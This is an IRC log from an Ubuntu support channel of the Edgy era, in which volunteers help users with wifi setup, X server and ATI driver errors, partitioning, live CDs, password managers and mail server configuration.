[11:10] <camerong> stefg: i dont have internet on my ubuntu computer.. and i need to use it according to the instructions u gave me in the link, which say i need to use "ubuntu repositories" and other internet-access-only things
[11:10] <stefg> kohr_: filesystems and harddisk-adapters don't relate... what's your question
[11:10] <tweakism> ||cw: no man.  you can't write to loopback filesystems.
[11:10] <kohr_> stefg, in gparted, ntfs if greyed out
[11:10] <adon> I installed Xgl on edgy, and use a gnome session to start it. When it starts it draws a black screen with the X  cursor on it and starts the loading applet. Is there a way to have the original background screen and cursor when Xgl is loading?
[11:10] <squidly> stormchas3r, yea very helpfull.. I use lvm/raid for my systems that need to be able to be flexable and stable ^^
[11:10] <Jordan_U> camerong: You can download the packages on another machine, but if you connect through ethernet internet should work
[11:10] <tweakism> ||cw: I need the fat32 equivilent of mkisofs.  note that mkisofs operates quite a bit differently than the normal mkfs.* commands.
[11:10] <stormchas3r> squidly, nice, ill try it
[11:11] <nuvene> can anyone tell me how to fix my computer? Everytime I try to install, remove any programs I get an error about my python setup tools and pida.
[11:11] <shon> Does anyone know a shell or Run command line in Ubuntu 6.10
[11:11] <jordo23> un_operateur: Kind of testing 32 bit konq.....works well.....I think the glitches came from Beryl or loading too many websites (with Flash) to fast or something....
[11:11] <squidly> stormchas3r, i prefer swapfiles over a swap partision because I can resize the swapfile if I need to or I can make a new swapfile ^^
[11:11] <stefg> camerong: with lots of knowledge you would be able,  but at the moment if you have no net access from your ubuntu box it's quite difficult
[11:11] <shon> I am trying to run wine tools
[11:11] <tweakism> shon: Applications, Accessories, Terminal
[11:12] <un_operateur> nuvene, remember it always helps to have the original error messages handy -- without them, the best help you get is a pure guess .. can you !pastebin the exact errors please?
[11:12] <camerong> ugh.. how would i set up net access from my ubuntu ... its a wifi.. should i just give up cause im not expert at linux stuff right now
[11:12] <stormchas3r> squidly, ok, i made the root / part,  how do i make the swap on the vmdrive?
[11:12] <yosyp> I have a SyncMaster 920BW (widescreen) it's resolution should be 1440x900, I set it in xorg.conf doesn't work. I tried the 915resolution hack, but when I change the Device Driver, X wouldn't start at all.
[11:12] <stefg> !wifi | camerong
[11:12] <ubotu> camerong: Wireless documentation can be found at https://help.ubuntu.com/community/WifiDocs
[11:12] <shon> that want run the  winetools program
[11:12] <squidly> stormchas3r, just dont use a swap for right now you can make a swap later (and the install really does not need a swapfile)
[11:12] <un_operateur> camerong, keep at it .. you'll feel pleased about your achievement once you have things running, everyone does :)
[11:13] <stormchas3r> squidly, ok,  well see how the install goes
[11:13] <stormchas3r> squidly, ty for the help
[11:13] <yosyp> !widescreen | yosyp
[11:13] <squidly> stormchas3r, i have several boxes with out a swapfiles or partisions
[11:13] <ubotu> Sorry, I don't know anything about widescreen - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[11:13] <||cw> tweakism: I just loop mounted one of my floppy images and was able to touch a new file onto it
[11:13] <stormchas3r> squidly, nice
[11:13] <tweakism> wtf
[11:13] <tweakism> why can't I do that
[11:13] <yosyp> !terrorism | yosyp
[11:13] <ubotu> Sorry, I don't know anything about terrorism - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[11:13] <||cw> tweakism: also added content, just o be sure
[11:14] <camerong> yeah i guess il keep trying but ive been working for a few days to get this damn thing set up to no avail really.. and this is taking a lot more work than i woulda thought for an OS that advertises itself as soo easy to use :-/
[11:14] <squidly> stormchas3r, thanks.. they are not doing anything really heave just dns, and a nagios/nessus box
[11:14] <un_operateur> ||cw, why not just _mount_ your floppy? sounds like overdoing it :)
[11:14] <camerong> im reading the wifi thing now anyways
[11:14] <tweakism> I remounted it readwrite, but I get a ro file system error
[11:14] <yosyp> ugh =[
[11:14] <yosyp> I have a SyncMaster 920BW (widescreen) it's resolution should be 1440x900, I set it in xorg.conf doesn't work. I tried the 915resolution hack, but when I change the Device Driver, X wouldn't start at all.
[11:14] <Jordan_U> camerong: Try just going to System -> Administration -> Networking and entering the Wifi name ( SSID ) and password and see if it works.
[11:14] <tweakism> well, anyway, I have free space in lvm.
[11:14] <stormchas3r> squidly, nagios is cool
[11:14] <tweakism> so I'll just make a device to make mkfs.vfat happy
[11:14] <||cw> un_operateur: don't have one.  I occationaly burn the images as bootbale cd's
[11:14] <||cw> VERY occationaly
[11:14] <squidly> stormchas3r, not when you have a t1 that likes to drop at seveal times a night for several weeks (all night too)
[11:15] <stormchas3r> squidly, ack
[11:15] <shon> how can I run the wt program
[11:15] <stormchas3r> that sux
[11:15] <camerong> Jordan_u.. i dont have xserver running yet.. thats the problem.. so its kinda a catch 22 if i pretty much need to use the GUI to get my internet seeing as i need my internet to get the GUI working
[11:15] <yosyp> ubuntu support channel sucks?
[11:15] <||cw> tweakism: I did have to sudo the touch, adhoc mounts are as root and so only root can write to them, unless you set the mount options to say otherwise
[11:15] <un_operateur> ||cw, ahh i see ok .. nm :)
[11:15] <cafuego_> yosyp: You think that will make people want to help you?
[11:15] <squidly> stormchas3r, and come back up thus killing an entire site! you sleep threw several pages every 1/3 hour all night long!
[11:16] <yosyp> cafuego_ most likely
[11:16] <stormchas3r> squidly, great, thay worked,   thank you a bunch.  that sux.    I am thinking about taking the ubuntu server course online
[11:16] <squidly> stormchas3r, go for it.. I really like ubunu for servers
[11:16] <camerong> jordan_u u see what i mean?
[11:16] <un_operateur> yosyp, if you are opinionated enough to make remarks like that .. you are clever enough to get help elsewhere, now was that a fair comment to make?
[11:16] <Jordan_U> camerong: You can get basic GUI ( slow / low res ) without installing anything new, just run: sudo dpkg-reconfigure xserver-xorg -phigh and choose "vesa" as the driver
[11:16] <stormchas3r> squidly, ya me 2
[11:16] <shon> tweakisa: how can I run the wt program
[11:16] <squidly> stormchas3r, im actually working on makeing a new one for a email/webmail server
[11:17] <camerong> jordan u - what does -phigh do?
[11:17] <stormchas3r> squidly, nice, thats what i have, love it
[11:17] <house> hi. can somebody help me with my problem please? is there a way to downgrade xorg in edgy to version 6.9? i have a problem with a trident video driver in current xorg - tv out is not working in it. after googling it for 2 weeks i found out that the only working driver for it is an old blackfive modified driver, but it is for xfree86. it crashes current modular xorg even after recompiling. the only xorg known to me that is compatible with it is
[11:17] <house> monolythic 6.9.. How do i downgrade xorg 7.1 to 6.9 ?
[11:17] <Jordan_U> camerong: Only asks high Priority questions, like what driver and resolution to use
[11:17] <stormchas3r> squidly, sadly i would love to get open xchange woring on ubuntu, but no luk there
[11:17] <squidly> stormchas3r, yea but this is going to handel about 2tb of data a day and about 3000 email address
[11:17] <||cw> camer0ff: makes sets the questions priority to high, so asks everything under the sun
[11:17] <Schenker> hi guys
[11:17] <squidly> stormchas3r, ugg not what I was looking to hear >< but I think I can get it running (I hope)
[11:18] <camerong> jordan_u: well mine is currently set to VESA so do u really think that will make a diff?
[11:18] <stefg> Jordan_U: do yu have a source-doc fot the parameters on dpkg-reconfigure xserver-xorg? I'll be interested in alink
[11:18] <||cw> er, or do I have it backwards
[11:18] <un_operateur> house, sudo aptitude install xorg=6.9
[11:18] <Schenker> guys i have a question about using Ubuntun from a live CD
[11:18] <house> un_operateur, thanks!
[11:19] <Jordan_U> stefg: I don't think there are any package specific parameters so man dpkg-reconfigure should give you all the info you want
[11:19] <stormchas3r> squidly, can you email me please? stormchas3r@gmail.com  I would love to hear how you make out
[11:19] <mc44> Schenker: ask  away
[11:19] <un_operateur> stefg, I have a feeling those are flags passed to one of the post-install scripts of xserver-xorg
[11:19] <squidly> stormchas3r, if I get it workign I will post in the forums
[11:19] <squidly> and make a how-to
[11:19] <Schenker> my computer is an Apple iBook G4, with 256mb RAM and I was wondering if, when I boot from the CD, will i still be able to access the internet using my airport card?
[11:19] <camerong> jordan_u: if mine is already set to VESA do u still think it will make a difference at all?
[11:19] <stormchas3r> squidly, great
[11:19] <stormchas3r> squidly, brb
[11:19] <camerong> jordan_u: to have -phigh there?
[11:19] <squidly> kk
[11:19] <stefg> un_operateur: me 2 ... so i like to know the real tricks :-)
[11:19] <Alakazamz0r> How can i get my LCD to be forced @ 60hz?
[11:20] <linux_user400354> whats the keyring software in linux called that manages all the your passwords and has one master password for all of them?
[11:20] <Jordan_U> camerong: -p for Priority then high medium etc to select what priority level to show
[11:20] <stefg> linux_user400354: kde or gnome?
[11:20] <linux_user400354> stefg: gnome
[11:21] <house> un_operateur, "Unable to find a version "6.9" for the package "xorg"" :(
[11:21] <Jordan_U> camerong: Sorry, the -phigh makes it ask fewer questions
[11:21] <toulouse> hey guys, is there any way to get the live cd's to keep browser history+bookmarks? this would be helpful if i could just use the live cd as a "portable computer" that i could take with me
[11:21] <toulouse> and settings changes
[11:21] <cafuego_> Schenker: No, you will not. Before booting, you should download a package to a usb key. After booting, install the package and reload the wireless drivers.
[11:21] <un_operateur> house, what does this command give -- apt-cache policy xorg
[11:21] <camerong> jordan_u: i understand that -p[whatever]  is going to change the number of questions asked but you are suggesting i change my driver to vesa so i can use xserver. what i am saying is that my driver is already set to "vesa" and xserver isn't working..
[11:21] <Jordan_U> toulouse: Yes, it's called persistence, I'll find a link...
[11:21] <stefg> !gnome-keyring | linux_user400354
[11:21] <ubotu> gnome-keyring: GNOME keyring services (daemon and tools). In component main, is optional. Version 0.6.0-0ubuntu2 (edgy), package size 63 kB, installed size 1492 kB
[11:22] <camerong> jordan_u: so will filling out vesa while taking the little questionare with -phigh enabled make any difference to the fact i chose "vesa" when asked for the driver?
[11:22] <||cw> that's some serious complression
[11:22] <cafuego_> Schenker: The package is 'bcm43xx-firmware', you can get it from: http://ubuntu.cafuego.net/pool/edgy-cafuego/bcm43xx/bcm43xx-firmware_1.3-1ubuntu2_all.deb
[11:22] <linux_user400354> stefg: maybe it is not called keyring. do you know about the software that im talking about?
[11:22] <Schenker> cafuego:  I'm downloading the ISO right now, I guess that this won't be suitable?
[11:22] <cafuego_> Schenker: It'll be fine.
[11:22] <jamesbrose>  how can i properly change the hostname of a server box so that i can access it directly (http://hostname/) via a windows pc?
[11:22] <toulouse> Jordan_U: so the live cd doesnt ever store anything on the computer right? (i dont really want the school computer admins after me)
[11:22] <Schenker> ok, thank you
[11:22] <cafuego_> Schenker: It has a driver, but the firmware can't be legally distributed on the CD.
[11:22] <Jordan_U> camerong: OK, what happens when you try to start X, does it crash or just "not work" some other way?
[11:22] <||cw> linux_user400354: what do you want to know about it
[11:22] <stefg> linux_user400354: tze equivalent of kwallet for gnome?
[11:23] <Schenker> oh i see
[11:23] <ralyon> I have a new install of edgy on a toshiba satellite 330CDS and I can not get my pcmcia card slots to work or my usb. I get a noone cares on irq 11, try irqpoll and adding irqpoll to my kernel string causes a soft lockup detected on cpu0 and does not get rid of the irq error. I also get cardbus cards are not supported shortly after and being that the cardbus uses irq 11 I believe this to be...
[11:23] <ralyon> ...the problem. Can someone please help me?
[11:23] <stefg> !kwallet
[11:23] <ubotu> Sorry, I don't know anything about kwallet - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[11:23] <cafuego_> Schenker: I'm using  abroadcom 4306 *right now* and it works just dandy.
[11:23] <un_operateur> !ask | ralyon
[11:23] <ubotu> ralyon: Don't ask to ask a question. Just ask your question :)
[11:23] <Schenker> cool
[11:23] <Jordan_U> toulouse: No, you would store the changes on a thumb drive or a seperate session on the CD
[11:23] <Schenker> so I can install this ISO onto an external USB hard drive?
[11:23] <GuerrillaWon> Wooo finally. I got everything working.
[11:23] <camerong> it displays the following error: AddScreen/ScreenInit failed for driver 0 NEXTLINE XIO: fatal error 104 (connection reset by peer) [... and then some other stats were here, but they were all 0 and seemed relatively trivial] 
[11:23] <stefg> !kwalletmanager
[11:23] <Schenker> and run Ubuntu from that?
[11:23] <ubotu> kwalletmanager: wallet manager for KDE. In component main, is optional. Version 4:3.5.5-0ubuntu2 (edgy), package size 339 kB, installed size 808 kB
[11:23] <camerong> jordan_u: i put the error above
[11:23] <cafuego_> Schenker: Perhaps, I don't know.
[11:23] <GuerrillaWon> I can so safely say I am now a permenant Linux user.
[11:23] <GuerrillaWon> Thanks guys for everything.
[11:23] <stormchas3r> squidly, lilo is failing
[11:24] <squidly> stormchas3r,
[11:24] <linux_user400354> stefg: im not sure what kwallet is. the software i used a very long time ago let me store all my password incase i ever forgot them, i had them stored in a program and i needed one master password to access all of the passwords in that program, so i only had to remember one password.
[11:24] <squidly> stormchas3r, hmm
[11:24] <||cw> Schenker: if your bios supports booting of usb, sure
[11:24] <toulouse> Jordan_U; dont wory about that link, im probably better off using portable firefox, it stores it
[11:24] <Jordan_U> camerong: Could you post the link to the error agian ( this channel moves too fast )
[11:24] <Schenker> yeah, i think it does
[11:24] <GuerrillaWon> It's taken time and headaches but damn if it doesn't feel good to finally get all this working.
[11:24] <squidly> stormchas3r, it worked fine for me what is the lilo error?
[11:24] <Schenker> ok, i'll work something out
[11:24] <||cw> Schenker: though if you have sata or scsi drives things might get a bit weird
[11:25] <stormchas3r> squidly, says , "running /sbin/lilo failed with error code 1
[11:25] <toulouse> can i just put an iso on my thumbdrive and change the bios to boot off of usb?
[11:25] <toulouse> will that boot off of thumbdrive
[11:25] <stefg> linux_user400354: got you. firefox itself has a facility, and i know kwalletmanager for this.... but i'm not sure if gnome-keyring is doing allthat, or if its gpg-centric
[11:25] <Jordan_U> toulouse: No, but there are instructions for installing from a pen drive
[11:25] <||cw> Schenker: and you might have to make your own initrd, I don't think the default one supports usb, that's not too hard to do from a rescue boot though though
[11:25] <Jordan_U> !install | toulouse
[11:25] <ubotu> toulouse: Ubuntu can be installed in lots of ways. Please see https://help.ubuntu.com/community/Installation for documentation. Problems during install? See https://wiki.ubuntu.com/CommonProblemsInstall and https://wiki.ubuntu.com/DapperReleaseNotes/UbiquityKnownIssues
[11:25] <camerong> jordan_u: see the very beginning of this post where i first asked for help on the error here: http://ubuntuforums.org/showthread.php?p=1986182#post1986182
[11:26] <Schenker> ok, thanks for the help
[11:26] <toulouse> ok, it's no biggie, i think i'll just stick with the cd-rw ive been using to try different distro's
[11:26] <camerong> jordan_u: it is the "AddScreen/ScreenInit failed for driver 0" thing
[11:26] <toulouse> thanks guyus
[11:26] <makuseru> ubuntu is suspose to be from africa correct?
[11:26] <linux_user400354> if i use firefox, and i forget to lock my computer when leaving to use the restroom, someone could come and use my passwords. it has happened before.
[11:26] <house> un_operateur: apt-cache policy xorg    xorg: Installed: 1:7.1.1ubuntu6.2   Candidate: 1:7.1.1ubuntu6.2  Versions Table:  *** 1:7.1.1ubuntu6.2 0          500 http://us.archive.ubuntu.com edgy-updates/main Packages         100 /var/lib/dpkg/status      1:7.1.1ubuntu6 0         500 http://us.archive.ubuntu.com edgy/main Packages
[11:26] <||cw> makuseru: the word is
[11:26] <cafuego_> makuseru: it's an african word, yes
[11:26] <un_operateur> makuseru, south africa to be precise
[11:27] <mc44> makuseru: the word is from Zulu
[11:27] <makuseru> bu ubuntu was developed on the Isle of Man?
[11:27] <mc44> makuseru: no
[11:27] <stefg> linux_user400354: why not just lock the screen?
[11:27] <makuseru> distro watch says it is
[11:27] <alek66> i cant get my laptop to my palms trusted bluetooth devices, i tried mostly everything with the pins
[11:27] <un_operateur> house, you might need to manually download an install the version you need from http://packages.ubuntu.com
[11:27] <||cw> ubuntu was develeoped in many places all over the globe
[11:27] <linux_user400354> stefg: i try but once in a while i will forget to.
[11:27] <stefg> linux_user400354: scratch... you said /in case i forgot/
[11:27] <||cw> being based on debian...
[11:27] <mc44> makuseru: the headquaters are located in the Ilse of Man, for tax purposes I suppose, the developers are global
[11:28] <kohr_>  in gparted, ntfs if greyed out
[11:28] <jaice> does ubuntu have a central control center/panel?
[11:28] <Doow> Anyone know a good nes emulator for ubuntu? (I've tried nestra and fceu)
[11:28] <un_operateur> jaice, yes gnome-control-panel
[11:28] <stefg> linux_user400354: rather setup a reasonable autolck time
[11:28] <linux_user400354> stefg: the program i am talking about requires a master password everytime it is run, so someone would have to know the master password and i would be safer that way
[11:28] <||cw> jaice: just gnome or kde's I think
[11:28] <Jordan_U> jaice: Yes, gnome-controll-center
[11:28] <Enverex> Doow, ZSNES/Snes9X
[11:29] <camerong> jordan_u: should i repost my message again?
[11:29] <jaice> :-/
[11:29] <house> un_operateur, i found the correct packages on backports.. what command should i use to downgrade? will apt-get install allow me to downgrade?
[11:29] <alek66> no one? bluetooth help here
[11:29] <Jordan_U> camerong: No, I got it
[11:29] <stefg> linux_user400354: i understand your problem, but have no solution at hand now
[11:29] <Intangir> hey guys
[11:29] <Intangir> i just got beryl
[11:29] <un_operateur> house, unfortunately no, you'd have to force install at the version you requre
[11:29] <Doow> Enverex: they do nes too?
[11:29] <Intangir> on a newly upgraded edgy system
[11:30] <Intangir> when i try to start it it says: beryl: No RandR extension
[11:30] <un_operateur> house, if you have the .deb -- you use -  dpkg -i /path/to/file.deb
[11:30] <Jordan_U> camerong: Is Ubuntu installed or are you still on the live CD?
[11:30] <house> un_operateur, thanks a lot! that was what i was looking for
[11:30] <NET||abuse> !locale
[11:30] <ys76> get yourself?
[11:30] <ubotu> To set up and configure your locales, see https://help.ubuntu.com/community/LocaleConf
[11:31] <camerong> it is installed in a partition on my harddrive via alternative cd 6.10 (this is why its hard for me to just give up.. becuase i cut my HD in half basically for this)
[11:31] <NET||abuse> i've read this and the pacakges it mentions aren't anywhere in the default deb repos
[11:31] <camerong> jordan_d: ^^
[11:31] <NET||abuse> anyone know what's the deal with this?
[11:31] <un_operateur> Intangir, errm, you might need !libxrandr2 and !libxrandr-dev
[11:31] <un_operateur> !locales
[11:31] <ubotu> To set up and configure your locales, see https://help.ubuntu.com/community/LocaleConf
[11:31] <un_operateur> !info locales edgy
[11:31] <ubotu> locales: common files for locale support. In component main, is required. Version 2.3.22 (edgy), package size 2952 kB, installed size 7284 kB
[11:31] <kohr_>  in gparted, ntfs if greyed out, what do i do ?
[11:31] <Jordan_U> camerong: What video card do you have?
[11:32] <shon> how do I run a program in ubuntu 6.10
[11:32] <NET||abuse> un_operateur, so yeh, locales and localesconf aren't anywhere in the aptitude listings
[11:32] <KristianDK> shon -> ./filename
[11:32] <stefg> linux_user400354: you might find revelation useful
[11:32] <stefg> !revelation
[11:32] <ubotu> revelation: GNOME2 Password manager. In component universe, is optional. Version 0.4.7-2ubuntu2 (edgy), package size 337 kB, installed size 1200 kB
[11:32] <Jordan_U> shon: Alt+F2 to bring up a run dialog
[11:32] <camerong> jordan_u: i have a radeon x300 se 128MB hypermemory
[11:33] <NET||abuse> never mind, fixed, didn't have all the required debs enabled
[11:33] <un_operateur> NET||abuse, eh?  http://packages.ubuntu.com/edgy/base/locales
[11:33] <cntb> ubuntu woke up with only ipv6 not having ipv4 what is wrong
[11:33] <kupesoft> I know the default umask for new users is set in /etc/login.defs but when I add a new user, how do I make their home dir set to that umask?
[11:33] <Alarm> what error could this be on my dmesg : [17222343.892000]  loop0: rw=0, want=1808, limit=1204
[11:33] <Alarm> [17222343.892000]  attempt to access beyond end of device
[11:33] <house> shon, if it doesn't run just as ./filename, do sudo chmod +x ./filename first
[11:33] <ralyon> how can I get irq 11 to work on my satellite laptop in xubuntu edgy?
[11:33] <js_> is it not possible to install ubuntu on an md device using the installer?
[11:34] <stefg> js_ only with alternate, not with Desktop-CD
[11:34] <Jordan_U> camerong: Ok, I would try downloading the .debs for fglrx ( ati dirvers ) from Windows and putting them on a thumb drive to install from Ubuntu
[11:34] <kohr_> When I run  gparted, I can't format the drive to NTFS, why? The option is greyed out
[11:34] <cntb> pls .  ubuntu woke up with only ipv6 not having ipv4 what is wrong
[11:34] <NET||abuse> un_operateur, i dunno, it wasn't finding localeconf earlier, now it it,, i messed with debs
[11:34] <NET||abuse> anyway,, sorted, thanks for the pointeer :)
[11:34] <un_operateur> NET||abuse, i can't find anything about localesconf -- perhaps you meant locale-gen
[11:34] <camerong> jordan_u: thanks i will do that then
[11:34] <camerong> jordan_u: any idea where to get them
[11:34] <||cw> js_: what kind of md device do yuo have that's big enough to hold a default install?
[11:34] <killown> how I do to install alsa in my system?
[11:34] <camerong> jordan_u: and what are .debs exactly?
[11:35] <killown> I not found alsaconf
[11:35] <Jordan_U> camerong: packages.ubuntu.com I am not sure which you need exactly though
[11:35] <shon> jordan_L: Thank you
[11:35] <stefg> !sound | killown
[11:35] <ubotu> killown: If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin
[11:35] <||cw> camerong: a software package, sort of like a .msi in windows, but more intelligent
[11:35] <js_> ||cw: a 40gb raid1 array
[11:35] <js_> stefg: damn, okay
[11:35] <camerong> jordan_u: alraight thanks... il give it a shot
[11:35] <killown> steelb, I can oss work fine but I want alsa
[11:36] <cntb>  ubuntu woke up with only ipv6 not having ipv4 what is wrong pls any idea
[11:36] <camerong> jordan_U: do u think another linux distro would be better?
[11:36] <||cw> js_: ah, I was thinking a memry device, got handhelds on the brain.  you need to use the text based installer
[11:36] <brodie_irc> !rules
[11:36] <ubotu> The people in this channel are volunteers. Your attitude will determine how fast you are helped. See also http://wiki.ubuntu.com/IrcGuidelines
[11:36] <Jordan_U> What packages, including dependencies, are required to install fglrx from a base ubuntu-desktop system?
[11:36] <stefg> js_: if you want to avoid a new download you cn install to a straight device and move that later
[11:36] <steel_lady> can somebody tell a stupid blond how to do java plugin for mozilla?
[11:37] <r0bby> steel_lady: what do you mean?
[11:37] <bung> could someone help me out, i wanted to know if there is a specific i686 version to install, and also if there are DVD releases with more stuff on them.. i only see 700mb files on the torrents page.
[11:37] <stefg> !java | steel_lady
[11:37] <ubotu> steel_lady: To install a Java compiler/interpreter on Ubuntu, look at https://help.ubuntu.com/community/Java - For the Sun Java runtime install sun-java5-jre from the !Multiverse repository
[11:37] <un_operateur> Jordan_U, apt-cache show  fglrx-driver
[11:37] <steel_lady> I installed java but it doesn't work on some pages
[11:37] <stefg> steel_lady: please notice that i typed very,very slowly.... so that you can keep track :-)
[11:37] <Jordan_U> un_operateur: I already have it installed so I don't know what of it's dependencies are not available from a base system
[11:38] <un_operateur> Jordan_U, why do you worry?
[11:39] <js_> ||cw: i figured that, and the textbased is only included in the alternate cd?
[11:39] <steel_lady> what is multiverse? I don't have any idea about all this and I don't have ages to read forums!
[11:39] <stefg> !repos | steel_lady
[11:39] <ubotu> steel_lady: The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[11:39] <Jordan_U> un_operateur: I am trying to help camerong who needs to download the .debs from windows as he hasn't gotten wireless working yet, so he will need to download all of the other .debs fglrx depends on
[11:39] <||cw> js_: not sure, I haven't used a live cd since, well, I tried the first one once and that was enough for me :D
[11:40] <js_> ||cw: hehe, alright :p
[11:40] <||cw> personaly i don't see the point of it, If my plan is to install, why would a want a full gui env loaded off a slow ass cd rom
[11:40] <Moose> Does Ubuntu server come with a mail relay?
[11:41] <||cw> mooey: reconfig exim for smarthost
[11:41] <stefg> !install | js_
[11:41] <ubotu> js_: Ubuntu can be installed in lots of ways. Please see https://help.ubuntu.com/community/Installation for documentation. Problems during install? See https://wiki.ubuntu.com/CommonProblemsInstall and https://wiki.ubuntu.com/DapperReleaseNotes/UbiquityKnownIssues
[11:41] <un_operateur> Jordan_U, what is the exact name of the package containing the fglrx-driver
[11:41] <un_operateur> ?
[11:41] <Rprp>   Bam-bam BugServ ChanServ Duiv Eggdrop Global MemoServ NickServ OperServ Roconda Rprp Slaapen
[11:41] <Jordan_U> un_operateur: xorg-driver-fglrx
[11:41] <philluk86> does anyone know where i can ubuntu's policy on packaging pygtk apps?
[11:41] <||cw> Moose: reconfig exim for smarthost
[11:41] <NET||abuse> !locales
[11:41] <ys76> get yourself?
[11:41] <ubotu> To set up and configure your locales, see https://help.ubuntu.com/community/LocaleConf
[11:41] <steel_lady> the main reason why win users hate ubuntu is because when they look for help are sent to a bunch of instruction pages where they loose a couple of hours reading
[11:42] <Moose> ||cw: I'm a bit new to the whole linux thing, what exactly does that mean? :P
[11:42] <Moose> Or how would I go about doing that anyways...
[11:42] <stefg> philluk86: you might want to /j #ubuntu-motu
[11:42] <||cw> Moose: heh, dpkg-reconfigure exim4-config
[11:42] <un_operateur> Jordan_U, if you know that -- then you can use this tool here to list the depends -- http://ljl.byethost14.com/apt   --  http://ljl.byethost14.com/apt?repo=Edgy&arch=x86&package=xorg-driver-fglrx&have=
[11:42] <Moose> ||cw: Thanks
[11:42] <||cw> Moose: er, sudo dpkg-reconfigure exim4-config, of couse
[11:43] <||cw> Moose: that should ask you about all possible setup, should be able to choose what you need from there
[11:43] <Moose> Cool, thanks.
[11:43] <un_operateur> steel_lady, if a ubuntu user pays me the rate-of-pay for a windows consultant .. i'll work just how the user wants :)
[11:43] <juano__> !xubuntu
[11:43] <ubotu> xubuntu is Ubuntu with Xfce instead of Gnome. For more info, see http://www.xubuntu.org and http://wiki.ubuntu.com/Xubuntu/ - To install from Ubuntu: "sudo apt-get install xubuntu-desktop". | For support, see #xubuntu | See also: !ubuntu and !xubuntu-channels
[11:44] <Jordan_U> camerong: What version of Ubuntu are you using?
[11:44] <kazuka> How do I fix something like this: Xlib:  extension "GLX" missing on display ":0.0".
[11:44] <kohr_> stefg, i can't partition it with NTFS, it is greyed out
[11:44] <Moose> ||cw: It says the package is not installed...
[11:45] <||cw> Moose: hm, do you have postfix installed?
[11:45] <stefg> kohr_: give me a sudo fdisk -l output on !paste
[11:45] <Moose> ||cw: I don't know what that is, so I'm guessing no.
[11:45] <mcm832> hi all.
[11:45] <||cw> Moose: i wouldn't assume so much :)  search for it in synaptic
[11:46] <Moose> ||cw: All I've done is install Ubuntu with the LAMP setup and I installed SSH.
[11:46] <mcm832> does anyone know of a way to have a script run at gnome logout time
[11:46] <mcm832> perferably at the system level, not per user
[11:46] <Moose> ||cw: Synaptic is....
[11:46] <||cw> Moose: or with no gui, aptitude
[11:46] <kohr_> !paste
[11:46] <ubotu> paste is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste)
[11:47] <mcm832> in cde it would be /etc/dt/conf/sessionexit... does gnome have something simular?
[11:47] <Flosoft2> hey
[11:47] <mnoir> mcm832: systems do not logout.  please elaborate - what do you mean?
[11:47] <Flosoft2> I am trying to install Kubuntu 6.10 ... but it freezes at ACPI configuration
[11:47] <Flosoft2> it is a Core2Duo Laptop from Samsung
[11:47] <shon> does any one know of a place where I can get a list of the short cut keys for ubuntu 6.10
[11:47] <Moose> ||cw: Postfix is not under the installed packages list, or on the not-installed packages list...
[11:48] <stefg> Flosoft2: so acpi=off is what you need... see !boot
[11:48] <Flosoft2> !boot
[11:48] <ubotu> Boot options: https://help.ubuntu.com/community/BootOptions - To add/remove startup services, you can use the package 'bum', or update-rc.d - To add your own startup scripts, use /etc/rc.local - See also !grub and !dualboot - Making a boot floppy: https://help.ubuntu.com/community/GrubHowto/BootFloppy - Also see https://help.ubuntu.com/community/SmartBootManagerHowto
[11:48] <Moose> ||cw: This is the server install of Ubuntu, just so you know.
[11:48] <mcm832> mnoir: I want to run a command when the user logs off of gnome.
[11:48] <||cw> Moose: been a while since I did one, seems like it should have SOME mta being a server...
[11:49] <||cw> Moose: k, well, what are you goals with the mail server?  just send out emails?
[11:49] <mnoir> mcm832: that would be at the user level - man bash and look for the explanation of .bash_logout
[11:49] <Moose> Send and receive.
[11:49] <mcm832> mnoir: All I can find googling is do run stuff after gnome-session in .xsession, but that is no good since my system does not need an .xsession per user and I want to do it for all users on the system
[11:49] <mcm832> .bash_logout is not run when in a gnome session
[11:49] <mcm832> just stuff like ssh'ing into a server
[11:50] <Flosoft2> stefg: The last two options are --
[11:50] <Grok_> synaptic shows firefox 1.5 as the latest version in the repositories. Is there another way to install 2.0 using a package manager?
[11:50] <mnoir> mcm832: but you want it to run when a user logsout.  that may take some research :)
[11:50] <Moose> ||cw: I'm trying to run one so I can have an email address like moose@mydomain.com and check it using a windows based mail client
[11:50] <Flosoft2> so do I put simply noacpi behind that?
[11:50] <un_operateur> mcm832, but on a system-level you would need superuser access .. something the user does not have
[11:50] <mcm832> mnoir: Hense why I am here :)
[11:50] <kohr_> stefg, http://paste.ubuntu-nl.org/1363/
[11:50] <mcm832> un_operateur: I am the sysadmin. I want something to be foreced when a user logsout
[11:50] <||cw> Moose: for a full blown mail server, I prefer postfix.  sudo apt-get install postfix
[11:51] <Moose> ||cw: Thanks again :)
[11:51] <mnoir> mcm832: that may be beyond the awareness of this group - whilst waiting here you may want to hit some more conventional support groups like for gnome
[11:51] <mnoir> dunno the group for gnome
[11:51] <un_operateur> mcm832, the point i am making is -- are you logged in root for your logout script to have a system-wide effect? :)
[11:51] <mcm832> mnoir: Figured it was worth a shot, thanks
[11:51] <mnoir> channel i mean
[11:51] <eXistenZ> How can I unzip all folders in some directory?
[11:51] <mnoir> mcm832: i am interested in the answer :)
[11:51] <eXistenZ> unzip *.zip didn't work
[11:52] <stefg> kohr_: there's no partition on that drive! (as the kernel thinks)... sata cntroller?
[11:52] <s34n> since the xserver-xorg update 2 days ago Ihave lost my Montor settings 3 times on 2 PC with 2 different distros
[11:52] <mcm832> un_operateur: Root can set files in etc that are sourced by user processes, hense having an effect on the user environment
[11:52] <Rprp> Hmm, i tried to install firefox 2.0, but if i start firefox i get the follow error: http://rafb.net/p/zOk67b64.html <--- Whats wrong?
[11:52] <||cw> Moose: you'll also need a pop3 and/or imap server, I prefer courier for this
[11:52] <kohr_> stefg, I havn't partitioned it yet, i am still in gparted
[11:52] <kohr_> stefg, It won't let me select ntfs
[11:52] <mnoir> mcm832: depending on what you actually need, you might look into the runlevel (6.06) or upstart(6.10) stuff
[11:53] <mcm832> mnoir: Unfortunatly I am actually doing this on solaris. I happen to like ubuntu and know the community to be knowladgeable and friendly
